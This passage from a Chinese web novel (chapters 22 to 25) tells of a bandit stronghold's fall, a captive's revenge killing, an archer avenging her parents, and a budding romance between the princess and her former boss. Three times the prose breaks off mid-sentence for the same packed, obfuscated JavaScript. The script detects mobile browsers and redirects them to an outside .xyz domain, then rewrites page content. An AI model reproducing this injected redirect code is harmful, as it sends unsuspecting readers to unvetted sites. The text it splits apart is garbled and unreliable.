她持剑,被压着打了这么久,总算轮到她反击了,她虽不能近江段的身,但能用剑在她身上划几道,等会受的伤不小,就先收点利息。 剑比铁锤的好处就是,更加灵活,虽然江段力气大,握着铁锤跟握着空气一样,但铁锤的受力面积大,行动还是要迟缓些。 被剑划伤了好几下,江段心中越发不耐,想早早结束这场比试。 她瞅准时机,总算抓住言昭离的一个破绽,挥锤落下,击的是言昭离的左手,身体下意识的动作是阻挡不了的,言昭离的左手受创,行动间不可能不迟疑,那时候,就是她给言昭离最后一击的时候。 锤落到手臂上的时候,‘咔嚓’一声,骨裂的声音穿至全场。 江段神情激动,还未来得及最后一击,喉上被抵上了一个冰凉的东西,再往前一寸,她就会命丧当场。 一颗跳跃的心就这样被一盆冷水泼下。 言昭离惨白着一张脸,笑的肆意张狂:“你败了。” 22. 第 22 章 入夜,一行人偷偷摸摸的潜入军帐。 黑暗中,高任元能感觉到有人在给自己松绑:“谁?” 眼上的蒙目布被拿开,在依稀的月光下,她看到了一个熟悉的人,颇有些激动的出声:“老三,你怎么来了?” 卫兰彭小声说:“二姐,我是偷偷来救你的,门外的人已经被迷晕,我们快些走。” 高任元小幅度的点头。 七八个人趁夜前行,眼看马上就要出了大门。 ‘吧嗒’一声,大门被关了起来,紧接着,一个个火把在黑夜中被举了起来,灯火通明,她们无处遁形。 卫兰彭的脸色不好,任谁都能看出来,她的救人计划失败,不仅失败,还把自己搭进去了。 她拔出剑,厉声问道:“你们想干什么?” 言昭离站在前方,尽管左手被缠上了一圈又一圈的绷带,但却丝毫没有折损她的气度:“客人原道而来,当然是要好好招待了。” 卫兰彭往地面上吐口水:“呸,还真是虚伪。” 言昭离依然笑嘻嘻的:“不是客人又怎么会给我们带来那么大的惊喜呢?” 她拍了拍手,有两个人被押了上来,一人是军中的士兵,并没有引人注意是地方,另一个人是校尉,是上一次出声建议利用高任元进入清风寨的人。 “这两人应该就是内奸了吧,今日要不是你与她们里应外合,我还找不到她们呢?” “藏的可真好,是吧。”言昭离无视卫兰彭喷火的目光:“将二人带下去,严加看管。” 手里的筹码又多了一个呢,真好。 * 辰时 言昭离收到了江段交上来的名单,她随意翻开看了一眼,这份名单不止有名字,还有票据,上面详细的记录了交易的时间和地点,还有货物。 记录的那么详细,票据都有些年份,这份名单不会有假。 她合上,交给唐校尉:“知道下一步怎么做?” 唐校尉点头:“知道。” 言昭离扭头看向江段:“江段,要不要再做一个交易,用她们两个的性命,换整个清风寨。” 囚车上又多了一个人的身影,是卫兰彭。 江段心里骂的人又多了一个,她早就警告过卫兰彭,不要轻举妄动,不要轻举妄动,结果她还是没听。 “不同意。”江段拒绝的很干脆,两个人换一个寨子的安危,实在不划算。 “那两个人的性命换你一个人呢?” 卫兰彭高喊:“段姐,不要答应她。” 她还想接着喊,被一旁的高任元拽住:“不要喊这些,难道你不想活着吗?” 卫兰彭一脸不可置信:“二姐,你在说些什么。” “我知道自己在说些什么。” “那可是我们的段姐,我们不能太自私。” “我自私,我只是想活着而已,有什么错。”高任元冷笑一声,“我看自私的另有其人。” “不行。”不出所料,江段再一次拒绝,她歉意的看向两人,“对不起,二妹,三妹,我是清风寨的寨主,清风寨不能失去我。” “你们要是去了,我会给你们报仇。” “说的倒是冠冕堂皇。” “连演都不想演,好好看看,这就是你心中崇拜的段姐。” 卫兰彭心中闪过一丝失望,如果今日被绑的是段姐,她会同意交换的。 毕竟她这条命就是段姐救的。 但段姐也不欠她们什么,不换也在情理之中。 言昭离听到她的回答,丝毫不意外,反正今日的目的已经达成。 她微笑道:“既然不做交易,那这两人也没什么存在的价值。” “回去处置了吧。” * 军帐里,言昭离高坐在首位上,审判着底下跪着的两人。 “先处置哪个比较好呢?” 高任元哭喊道:“求大皇女饶命,我是被江段胁迫才当上匪寇的,我什么也没干过。” “你们不是想攻入清风寨吗?我知道有个小门,你们从那里进去,便可以不费吹灰之力的拿下清风寨。” 卫兰彭陌生的看着她:“二姐,你在说什么?你怎么可以背叛清风寨。” “人为财死鸟为食亡,我谋条生路,有何错。” 卫兰彭气的脸通红,她虽是跪着,但一身的骨气还在。 后背挺直,梗着脖子:“要杀要剐,悉听尊便。” “很好,那就从你先开始。” 卫兰彭当众被一剑抹了脖子,死前,眼睛死死的盯着高任元。 言昭离手托腮:“至于你?” 高任元眼含希翼。 “提供信息给我们,那就功过相抵吧,我可以不杀你。” 高任元激动的直磕头:“多谢大皇女不杀之恩,多谢大皇女……” 她被带了下去,在堂的人忍不住问:“大皇女为何不杀她,她虽提供了信息,但平日里没少欺压百姓,罪孽深重。” “实在没必要饶恕这样一个人。” “你再回忆回忆我刚才说的。” 问话的人反应很快:“大皇女说的是我不杀你。” “是啊,我不杀她,可有人却很想杀她,她的报应还在后头呢,咱们只需静静等待便可。” 这边的高任元说完具体方位,就被人晾在了一边,她着急的在帐中直打转,大皇女不杀她,可又让几个侍卫看住她,这是何意? 实在按捺不住了,她主动找门外的侍卫搭话:“侍卫大姐,大皇女有说什么时候能放我出去了吗?” “大皇女没说,但等会有人来见你。” “什么人?” “你先在里面等着,等会就知道了。” 她抱着满心的疑惑,坐在桌边等待。 不一会,帷幄被挑开,一人一瘸一拐的走了进来,他一身天蓝色的衣袍,面色平静,全身的伤已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567754|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经好了大概,但唯有脸上的伤,再也无法消除。 高任元一见他,‘噌’的一下站起身来,眼中满是惊讶:“温州,你怎么在这?” 她伸出手,想抚摸无名脸上的疤痕,无名一个侧身,避开了,他可没错过高任元眼底的厌恶。 高任元当时就是看上了他的容貌,现在她最喜欢的东西毁了,又怎么可能对他产生怜惜。 再加上他如今是大皇女这边的,高任元很会审时度势,知道要先讨好他。 “是不是大皇女叫你来的,她知道你我二人的关系,想成全你我。” 她深情款款:“从今天起,我也不再是清风寨二当家,我们都在大皇女身边做事,以后会永远在一起。” “可真是讽刺,”无名从衣袖里拔出匕首,“你和我有什么关系,要有,也是我想杀了你的关系。” “你怎么能否定我们的过去,我是真心喜欢你的。” 无名步步紧逼,她不断往后退着,在意识到自己使不上力气后,神情变得惊恐起来。 最后退无可退,跌倒在床上,无名握着匕首,下手果断,一刀刀刺向高任元。 鲜血喷涌,落在他布满疤痕的脸上,面容可怖,整个人不复从前翩翩贵公子的模样,更像是从地狱里爬上来的修罗。 “喜欢?像你这样的人,谈何喜欢。” “你灭我全家,又骗我他们未死,委身于你,我逃跑过很多次,每次抓回来的结果不是被关禁闭就是被暴打一顿,被送回来那次,你打折了我的腿,在最后一次逃跑的时候,我划破了自己的脸,为的就是不让你找到。” “对待我像玩物一样,召之即来挥之即去,你知不知道,那些个日日夜夜,我有多恶心,多想把你杀了,就像现在一样,一刀刀插进你的脖颈,心脏……” “让你感受当初和我一样的痛苦。” 高任元脖子上的血止不住流,无名下手时控制了力道,让高任元不至于很快的死去。 她眼神涣散,意识回到了最初,江温州委身于她的那个夜晚。 她轻佻的挑起他的下巴:“想让你的家人活命,你知道怎么做。” 江温州面上温顺,可饱含恨意的眸子,传达出一个讯息:他会杀了她。 第一次说出想杀了她的话,是他知道真相的时候。 他说:“我要杀了你,我一定会亲手杀了你。” 被打折腿的那个雨天,他没有求饶,也没有喊过一声痛,只是在重复一句话。 “我会杀了你,我会亲手杀了你……” 高任元从不在意他说的这句话,一个玩物,怎么可能有这么大的本事杀了她。 但现在,永远不可能发生的事情发生了,他真的杀了她。 看着她因为疼痛而呻吟,看她逐渐咽气,无名的情绪,由愤怒,激奋,转向平静。 他平静的擦拭着匕首上的血迹,平静的起身,平静的说:“我不叫江温州,我叫无名。” 23. 第 23 章 “人送回去了?”言昭离指的是无名。 “是,已经送回去了。” 手底下的继续报告情况:“无名进去后,一刀刀把高任元捅死了。” 言昭离颔首:“他的仇也算报了。” “通知下去,今晚攻打清风寨。” “是。” 所有人都在摩拳擦掌,准备大干一场。 天色渐晚,江小春带着几个人,来到高任元所讲的暗道,她们进去后,迅速的把看哨的杀了,后又打开了城门。 清风寨里的人都还在沉睡,她们自认为寨子里面外人攻不进来,且朝廷每次来不都是雷声大,雨点小,于是放心的呼呼大睡。 不少人在睡梦中就被抹了脖子。 还有不少人惊醒,负隅顽抗。 她们平常欺压百姓,强抢民男,此刻却因为死到临头而痛哭流涕。 “吱嘎”门被推开。 唐校尉等人持剑,小心翼翼的靠近床榻,想趁着江段熟睡后重伤她。 可剑却落了空,唐校尉一把掀开被褥,里面躺着的只是一个枕头。 江段……跑了。 唐校尉反应迅速的摸了摸桌上的茶杯,还有着余温,她当机立断:“肯定往后面那一片树林里跑了,追。” 她领着大部分人向江段逃跑的方向追去,还有一两个人迅速的去报信。 江小春负责的一小部分区域已经彻底解决,她回去复命。 言昭离对她说:“江段跑了,唐校尉已经带人去追,我怕她们人手不够,你也跟去。” “是。” 江小春急匆匆的赶过去,看到了被围在中间的江段。 江段自私自利,是一个以自我为中心的极端主义者,比起整座寨子的人,她更在乎自己的命,所以她选择今天晚上悄悄逃走。 而此刻护着她的几个人,是她培养的心腹,带走她们也只是为了更好的保护自己。 心腹对她忠心耿耿,为了她的逃离,一个个自愿献出生命,硬生生的在一众人中杀出一条血路。 江段也不会放弃任何逃出去的机会,她的两个铁锤用铁链连接起来,以自己为中心的全方位锤击想阻止她走的人。 她力气不低,阻拦的人基本上都被一锤击倒,严重的倒地不起,轻的站起身来,也会‘哇’的一声吐出一大口鲜血。 唐校尉重伤在地,带的人被消耗得差不多,不是跟唐校尉一样,就是还在跟江段的心腹纠缠。 两个士兵对视一眼,一个进攻江段的左边,一个进攻江段的右边,互相钳制住江段。 王麦持剑直击江段的正面。 在危机关头,人爆发的潜力是无限的。 江段鼓足劲,将钳制住她的两个士兵击飞,又迅速的锤向王麦。 王麦躲闪不及,被一锤击倒,可没多久,她就摇摇晃晃的站了起来,擦掉嘴角的鲜血,翻身上马,又继续追去。 她是唯一一个被击倒后又重新追上去的人,一边追,一边骂着什么。 江小春离得远,听不到王麦说的什么,可她了解王麦,王麦此刻一定抹着眼泪说: “江小春,你以后一定要好好报答我,老子为了你的仇,可牺牲太多了。” “我要是没了性命,以后逢年过节,一定要来坟上看我,千万不要忘记把我坟头上的草清理干净,不然我夜夜托梦给你。” 等江小春离得近了,才发现想的似乎是错的,王麦骂的不是她,是江段。 她骂江段草菅人命,欺压百姓,连畜生都不如,最后,她说,“我一定会拦下你,小春的仇不能不报。” 王麦没有远大的志向,她就像世间的普通人一样,只想过好平稳的生活。 江小春眼眶湿润,王麦平日里那么怕疼怕死的一个人,到底是怎么大着胆子,拖着一身的疼痛去追江段。 江段或许心烦了,想彻底解决,她举起铁锤,想向着刚追上来的王麦最后一击。 受过伤的王麦根本无力躲避这一击,这一击下去,她必没命。 江小春迅速抽出背后的箭,拉弓搭箭,一切熟练流利。 射出的那一刻,她想起了许多的事。 江小春的父母只是个普通的老百姓,虽然没有太大的财富,但日子过得有滋有味。 母亲出去捕鱼,做活养活家人,父亲则在家操持家务。 可这样美好的日子在江段当上匪寇后终结,她们每月需要上缴高昂的保护费。 交过保护费后,他们一家的生活便会变得格外拮据起来,有时候甚至连温饱都解决不了,但一个普通老百姓,是没有实力和这些凶杀成性的匪寇抗争的,一家人互相安慰,日子忍忍也就这样过去了。 真正绝望的是在开春前后,连绵的暴雨,使得海上波涛汹涌,这样的天气,是完全不能出海的。 江小春一家捕渔为生,不能出海,就没有经济来源,恰逢那几日匪寇来收取保护费。 他们家已经交完全部的积蓄,但离要交的保护费还差不少,没有办法,只能央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567755|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求着匪寇饶过这一次,说下次一定补上。 匪寇一开始不依,后来瞧上了江父,欲对江父下手,江母暴怒,失手把那个匪寇杀了,两人被她的同伙绑了起来,带到江段面前,江小春并不在,她去山上找些野味,看能不能换些钱。 回来的时候,看见众人围在中间,江段高坐在马背上,神情倨傲,铁锤轻飘飘落下,像是在处理什么小事。 江父江母就这样没了性命,江小春被这一幕刺激到了,不顾一切的想冲上去,但被人拦下。 她们说:“孩子,你要是冲上去,也只有一个下场,忍,千万要忍下来,不能让你们家无后啊。” “你爹你娘在天之灵,肯定也不想你为此丧命。” “君子报仇,十年不晚。” 江小春死死咬住握拳的手背,雨水飘落,冲散了她嘴边流淌的鲜血,手上的痛完全不及心里。 她恨,恨这该死的鬼天气,恨这些匪寇,恨江段,但更恨的是自己,为什么要出去,出去了又为什么不能早些回来。 可惜世上没有如果,她也只能抱着父母冰冷的尸体,一次次痛哭。 是她无用,是她无能。 江段挥锤的动作与当时锤击江父江母的动作一模一样,甚至连神情都未变丝毫。 在即将落到王麦胸口的那一刻,江小春放出箭矢,这一动作,这一场景,她已经训练和幻想了上万上千遍。 不会有一丝一毫的失误。 凌冽的箭矢划破长空,准确无误的穿过江段的心脏,江段不可置信的低头看着胸口插着的箭,想张嘴说些什么,可一张嘴,就猛吐鲜血。 ‘砰’的一声,这个陪了她几年的铁锤落地,在地上砸了一个深深的坑,她也从马背上坠落,看着天上的蓝天白云,渐渐的咽了气。 在箭矢穿过江段的那一刹那,江小春的胸口也被人用到从后面穿过,江段剩存的一个心腹,用尽最后一丝力气为她们老大报仇。 江小春应声倒地,她能感觉到自己的气息在逐渐减弱,模糊间,她似乎看到了父母的身影。 是来接她的吗? 她伸出手,没过多久后就无力垂下。 意识陷入黑暗的时候,耳边传来王麦的哭喊:“江小春,你给我挺住,好不容易报完仇,你怎么能就这么走了。” “只是简简单单射了一箭怎么能够,你快给我爬起来,我们一起把江段千刀万剐。” “江小春,你听到没有,你不许睡。” “江小春!” 24. 第 24 章 剿匪,最重要的是剿,其次是事后的处理工作,言昭离因为已经在军中颁布了一套比较完备的体系,所以事后的工作也没太多的操心之处。 但名单上的官员得抓,她又重新忙碌了起来,剿匪回到军营后,一连好几日都未回府。 等到抓的差不多,已经过了半月,只剩下一些早就收到消息,逃窜的官员未逮捕。 午时,言昭离坐在案桌上看呈上来的报告,在剿匪前,她就说过,要对能力出众者进行嘉奖。 得到官职升任的总有一百五十人,其中有三人是巨大的升,这三人从前都是小兵,现升的是可掌管上百千人的官,王麦和另一人晋为校尉,江小春一箭射杀江段,是最大的功臣,晋为都尉。 言昭离确认无误,在落款处按上掌印,四四方方的小印记,写着‘大皇女’三字,这是可以代表自己身份的印章,几乎每一个皇女都有。 她讲这份嘉奖名单交给翠鸣:“将上面的嘉奖名单公布下去。” “是。”翠鸣拿过后,她嘴唇嗫嚅,似是想说些什么。 言昭离乜了她一眼:“想说就说。” “大皇女何时回府?” “府上可发生了什么事?” “无事。” “那祁小郎最近可有什么异样?” 翠鸣想了想,摇头:“似乎没有,只是每日在窗边看风景的时间长了些。” 言昭离若有所思的点头,古代么,确实没什么娱乐的,老板在窗边天天看风景,也是能理解的,看来还不知道她受伤的事。 她看了眼自己还没完全好的手臂,当时被打的时候特地避开了些力道,避免了被打断的结局,但受的伤还是不轻,放在现代,也算是个骨折。 内里的伤还没好,但外面已经看不出差别,嗯,能蒙混过关。 她扬声,眉眼间都透着一股喜悦:“翠鸣,收拾一下,回府。” * 言昭离走前,跟祁逾白老老实实的保证,一定会毫发无损的回来,可现在,她不仅没完完全全的回来,还差点断了一个胳膊。 想起走前祁逾白反复的唠叨,虽然‘唠叨’这个词并不适用在英明神武的老板身上,但当时言昭离只能想到用这个词来概括。 祁逾白让她想起了照顾她颇多的余奶奶,也是一样的爱絮叨,天冷了让她多穿衣,不要为了减肥而节食…… 余奶奶的心是好的,可有时言昭离也会因为没有听她的话,在外受伤而不好意思回去。 她现在不想回去面对祁逾白,也是一样的心理。 可爱你的人哪会计较这么多,他们只会更心疼你的遭遇。 言昭离像是一只欢快的小鸟飞回了巢穴:“老板,老板,我回来了。” “回来了?”祁逾白说话的声音情绪不明。 “是啊,我已经把那些匪寇全部清剿,那些包庇的官员也抓的差不多了。” “干的不错。” 她贫嘴:“也不看看我是谁带出来的。” 祁逾白问:“受伤了吗?” 言昭离眼神飘忽:“没有,我很厉害的。” ‘呵,’祁逾白接着道,“是很厉害,对着我也能脸不红心不跳的撒谎。” “我,我……” “言昭离,你是不是忘了我辅修过心理学。” 言昭离一下子瞪大了眼眸,祁逾白主修金融,辅修选的是心理学,虽没达到神化的地步,但通过一个人的细微表情来判断对方是否撒谎还是可以的,也就是说,老板一眼就看出她在撒谎,意识到这点,她的气势一下子恹了。 她手指比划出一点点距离:“受的伤也不是很重,就一点点。” “是吗?我怎么听说,大皇女与江段比试,以一只手为代价胜了江段。” “都是瞎传的,瞎传的,我的手好好的,不信,我给你看看。”她举起右手,想向祁逾白展示她的手没问题。 结果动作幅度不小心太大,牵扯到了韧带,疼的她小脸都皱到了一起,不停的倒吸凉气。 祁逾白跨步走到她面前,轻声喝道:“瞎动什么。” 他握着她的手腕,帮言昭离把胳膊放下,动作轻柔的像是对待什么珍宝一样。 接着,他轻叹一口气:“受了伤就好好养着,这次受伤我就不跟你计较了。” “但以后,都得保证不让自己受伤,不然等回去把你奖金全扣光。” 扣掉奖金,就像扼住言昭离的命脉一样,她绝不允许这样的事情发生,于是郑重保证:“放心,老板,我一定不会让自己再受伤。” 言昭离回来的时间已经过了午时,但她在军营未用饭,这下回来了开始传饭,祁逾白陪着她一起,他也还未用过。 饭桌上,言昭离的事情都由祁逾白一手代劳,包括吃饭。 言昭离用眼神控诉:她伤的只是左手,右手是能动的。 祁逾白:“一只手不方便。” 控诉无效,得,她只能老老实实听话。 但还是有一个好处的,可以光明正大的使唤老板干事。 “我要这个。”她指的是饭桌上最远的一道菜。 “我要吃虾。”祁逾白给她剥虾。 “我要吃……” 指挥老板的愉悦在看到猪蹄汤被端上来的那刻破碎,她尝过桌上的所有菜,就是没说要喝猪蹄汤。 无他,只因为谁家好人连喝了半个多月的猪蹄汤后还能喝下去。 祁逾白在心里估摸着她的饭量,在她还差四分之一就要饱的时候,给她舀了碗猪蹄汤,碗里的猪蹄肉看着鲜嫩肥美,汤面还撒上了葱花,香气四溢。 言昭离摇头拒绝:“我不想喝。” 祁逾白微笑道:“不,你想喝。” 他端着那一碗猪蹄汤靠近,笑意在眼底蔓延,不知怎的,言昭离有一种潘金莲给武大郎灌药的既视感。 配上那句:“大郎,该喝药了。”就更像了。 拒绝无效,她仰头喝下。 翠鸣在一旁看到,脸上的笑意就没断过,俗话说以形补形,这半个月的猪蹄汤,都是祁小郎亲手熬的,而且每日都特地叮嘱送饭的人亲自看大皇女喝下。 大皇女是来的路上知道原委,为了让祁小郎消气,故意装成不知情的罢了。 真好,看到大皇女和祁小郎如此好,她这心里就高兴。 * 吃饭的事祁逾白可以帮上忙,但沐浴这件事,他便是想插手都插手不了。 言昭离沐浴出来,身穿薄衣,湿发披露肩头,自从手受伤后,擦头发的事,一向都是翠鸣帮她,可现在,翠鸣不在,屋内只剩祁逾白,他拿着擦头巾,一幅要帮她擦头的样子。 言昭离一惊:“老板,你要帮我擦头?” “嗯。”祁逾白让言昭离坐下,一点点的替她擦干头发。 言昭离感受着头上轻柔的动作,怎么感觉她跟老板的身份转变了呢?现在她是老板,只需要享受祁下属的服务。 随着时间的流逝,言昭离开始控制不住的犯困,祁逾白的动作实在太轻,且她近日一直在忙碌着,身心疲惫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567756|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言昭离的眼皮子一下又一下的睁开又闭上,最后干脆阖上,头一歪,身体没有支撑力,眼看马上就要倾倒在地上。 刚给言昭离擦完头的祁逾白眼疾手快的托住她的头,心里又怕又无奈,怕他要是没看住,言昭离倒了下去,受伤的左手又会再次受创,无奈她怎么坐着就睡了。 他想把人叫到床上去睡,可看着她精致的睡颜,又不忍心打扰。 他弯腰,两个手臂穿过言昭离的腰身和膝盖处,轻轻把人抱了起来,两人的身体间又克制着距离,他怕碰到言昭离受伤的左手。 待将人放到了床上,盖好被子,他又起身去拿抽屉里早已备好的膏药,掀开言昭离左手的衣袖。 入目可见的红肿和青紫,看到的那一瞬间,祁逾白的心像是被揪住了一样,眼底泛着别样的情绪,他几乎不敢去想言昭离是如何受的伤,当时又是如何的疼痛。 他竭力抑制住心底冒出的想法,他想确认言昭离全身上下,除了左手的手臂,其他地方是否还有伤口,但这样于理不合,且过于冒犯。 打开药膏,一股清香扑面而来,祁逾白垂眸,细致的为言昭离涂抹整条左手手臂。 等做完一切后,他才和衣躺下,一晚上几乎没怎么合眼。 言昭离睡觉极不老实,得知她受伤的时候,祁逾白拜托翠鸣晚上多看顾,防止她晚上翻身碰到左手,又或者是睡觉的时候压到左手。 祁逾白减轻不了她受伤时承受的那份痛苦,只能在这些小事上不让她承受第二次痛苦。 言昭离醒来时,只觉得这一觉睡得极为起伏,前半夜,睡的极为舒服,后半夜,全身像是被钳制住了一样,动弹不得,但她又不想睁眼,只能这样憋屈的睡下去。 她睁开眼,才知道是怎么回事,整个人都被祁逾白从背后抱住,两人之间的距离近到言昭离能清楚的感受到脖颈处传来的温热气息,是祁逾白伏在她的脖颈上带来的。 从未与异性有过亲密接触的她,浑身都僵硬了,她挣扎着要挣脱祁逾白的怀抱,可一旦她有了动静,祁逾白就会抱得更紧,甚至还会轻拍她的后背,安抚她:“乖,不要乱动。” “好好睡觉。” 不是,言昭离在心里发问,这算怎么回事? 首先,她是老板的下属,其次,就算来到这个世界,也只能算是兮兮相惜的好友,无论哪种关系,都不符合现在所做的事。 她挣扎的动作更大了,一心只想逃离祁逾白的怀抱,结果祁逾白有了要醒的预兆,她又像个鹌鹑一样,缩在那不动了。 祁逾白睁开眼,见言昭离还是一样的睡姿,心里头松了下去,前半夜,言昭离睡的还算老实,可后半夜,她非得翻身,翻的还是左边的胳膊,祁逾白百般阻止,都差点没阻止上,没有办法,他只好抱住言昭离。 日光透过窗户,在地上投射出一片阴影,祁逾白瞧着天已经亮了,怕言昭离起身看见,察觉到什么,松开了她,又将她的被子往上掖了掖,动作娴熟,仿佛做过了成千上万遍。 接着,他轻声说道:“再多睡会吧。” 等到祁逾白平缓的呼吸声传来,言昭离再次睁开了眼睛,她侧头看向祁逾白,光洁白皙的面庞,略显锋利的下颚线,优越的五官,明明跟之前一模一样,可言昭离就是感觉哪不一样了。 老板……好像在她离开的这个阶段里瘦了些。 再加上他的眼底下有淡淡的乌青,给睡颜更添几分脆弱。 言昭离的心中思绪万千,老板做的这一切,真的只是出于一个对下属的关怀吗? 25. 第 25 章 “小春,快来看看娘今日捉到了什么?” 彼时的江小春尚还稚嫩,脸上满是欢脱的神情,她接过江母的筐,探头“哇”了一声,里面是条扑腾的大鱼。 那鱼很大,一个筐都快装不了,江小春从未见过这么大的鱼。 “今日咱们吃这条鱼。” 江小春摇头:“娘,我不想吃鱼,咱们还是把这条鱼卖了,一定能得很多钱。” 江小春喜欢吃鱼,可她听江母要吃这条鱼,第一反应不是喜悦,而是强烈的反对,她内心不知道怎的,只有股强烈的念头,一定要攒好多钱。 “娘不卖,今日就特地捕给你吃的。” 恰巧这时江父从外面回来,他面容清隽,身形挺拔,怀里揣着一个包袱。 “妻主怎么今日回来的那么早?” “捕了条大鱼,就早些收船了。” 江父将包袱递给江小春,又从她手中接过大鱼:“小春,快打开看看喜不喜欢。” 江小春打开包袱,是一件天青色的衣裙,这是她最喜欢的颜色,只是,这衣裙一看就价格不菲,她急忙将手从这柔软滑顺的衣裙上放下来,像是碰到了什么烫山芋头一样:“爹,这衣服我不要。” 他们家清贫,很少会有新衣服穿,尤其是江父江母,身上的补丁随处可见。 “不贵,小春。”说完,像是怕江小春拒绝,江父急忙拎着鱼上厨房。 江母提醒:“别忘了做成小春喜欢的红烧口味。” 江父头也不回:“知道。” 明明只是普通的一天,但小春就是感觉处处都不正常,母亲捉了条大鱼,提前回来,父亲特地去镇上给她买了新衣,两个人像是许久未见她,拼命将好的东西补偿给她。 可她……明明从未离开。 今日的午饭颇为丰富,江父是拿出他的毕生厨艺,做了整整十八道菜,小小的饭桌都快摆不下。 “小春,多吃些。” “小春,快尝尝,看爹的手艺下降没有。” “来,这是你最喜欢吃的茄子。” 江小春端着碗,默默承受江父江母的爱,直到碗里快堆积不下了,她才开口:“好了,爹娘,我的碗里已经够多了。” 她给江父江母分别夹了他们喜欢吃的菜:“你们也吃。” 江父江母没动筷,只是目光眷恋的看向她,江小春吞下一口饭,问道:“爹娘,你们怎么不吃啊?” “小春,回去吧。”江父开口。 “回去?回哪去,这不就是家吗?” 江小春有些莫名,但潜意识认为自己不想听江父江母接下来所讲的话,她猛扒几口饭:“这米饭太噎人,我去喝口水。” “小春,你知道我讲的什么意思?” 江小春的步伐止住:“我不想知道。” “你不应该在这沉浸太久,小春,这里不是你该待的地方。” “可我能去哪?我能去哪!” 江小春深吸一口气,话语间隐隐有抽噎声:“我不想回到没有你们的地方。” “小春,”江母握起她的手,“我们都知道。” “我们知道你每日每夜都在刻苦训练,知道无论是刮风还是下雨,你一天都不曾停歇,知道你一天都没忘记仇恨,甚至杀了江段。” 江母伸手,刮掉她脸上的泪珠:“娘很高兴,娘的小春已经成长为一个很厉害的大人了。” “所以,小春,不要再自责,你要学会向前看,往前走,爹娘永远都会在身后支持你。” 江母从身后抱住她们:“小春,你永远都是我们的骄傲。” “回去吧,回到属于你的世界。” 天光大亮,江小春的怀抱落空,她掩面哭泣:“我还没吃那条鱼。” 她再也吃不到那条鱼,那条吃母亲亲手捕的鱼,父亲亲手做的鱼。 江小春当时被人从捅了一刀,但因为她的心脏比旁人要歪上一点,所以那一刀并未致命,再加上救助及时,她没有丧命,只是陷入了沉睡。 江小春里挤满了一众人,有来送赏赐的金银珠宝,都尉的官服…… “王校尉,江都尉什么时候能醒啊?” “不知道,再等一段时间,总会醒的。” 有人扫兴道:“江校尉不会永远都醒——”不了。 她话还未讲完,就被王麦踹了一脚:“你这说的什么丧气话,真想拿针把你嘴巴缝了。” 王麦的性格一向活泼,也能与身边人打成一片,鲜少有这么板着脸的时候。 说这话的人也意识到自己说错话了,她轻拍自己的嘴:“呸呸呸。” “都怪我平常说话没个把门的。” 房间内,有人惊呼出声:“快看,江校尉的眼皮子动了。” “江校尉这是要醒了。” “快去叫医官。” 屋里的人乌泱泱的出去一大片,王麦跨步走到床前,没见江小春的眼皮子动,倒是见她嘴唇嗫嚅:“我……” 王麦听不清她说的什么:“你说什么?” “吃……鱼。” “吃什么,鱼?吃鱼?” 接着,江小春开始哭泣。 王麦:“小春,不就是没吃上鱼吗?你赶紧把眼睛睁开,到时候我请你吃上百条鱼,保管让你吃腻。” “别哭了,你快点睁眼啊!” 江小春身处一片黑暗之中,听到这熟悉的话语,破涕为笑。 “不亏是当上校尉的人,就是大方。”她一醒来,就打趣王麦。 王麦欣喜道:“你醒了?” “是啊,不知道你允诺我的鱼还作数吗?” 王麦很干脆:“作数作数,都作数。” 两人又打趣了几句,医官到了,王麦连忙拉着她给江小春看病。 医官给江校小春搭了脉,又简单的问了她个问题,最后叮嘱她好生休息。 医官走后,江小春看着屋里的奖赏,问道:“这是?” “大皇女赏赐的,除了这些,你杀了江段,晋为了都尉。” “真好,小春,你以后就是能掌管千人万人的都尉了。” “我真为你高兴。”这一路,王麦也是她成长路上的见证者。 江小春笑道:“我也为你高兴。” “对了,赏赐怎么那么快就下来了?等会我是不是要去向大皇女谢恩。”拿到赏赐是要拜见赏赐者的。 “小春,你昏迷了一个月,大皇女今日已经出发回京城了。” 江小春抿唇:“大皇女何时走的?” “今日末时。” “现在几点?” “申时不到。” 江小春挣扎起身:"才走半炷香不到,我现在去追,是能看到大皇女的。" 王麦急道:“你才刚醒——”还是不要去追。 她剩下的话咽在喉咙里,大皇女对小春有恩,小春是无论如何也要送的,还不如让她去送,大皇女这一走,不知道何年才能见上面,有可能这一辈子都再也见不到了。 “好,我跟着你一起去。” 两人纵马出了军营,直奔一处地方,路上,王麦时刻观察江小春的神情,就怕她有什么不适。 果然,江小春才骑行到一半,尽管面色未变,但逐渐泛白的嘴唇,时不时捂胸口的动作,都在暴露她在忍耐着什么。 王麦喊停:“不行,你不能再骑下去了。” 江小春咬牙:“我还能骑。” 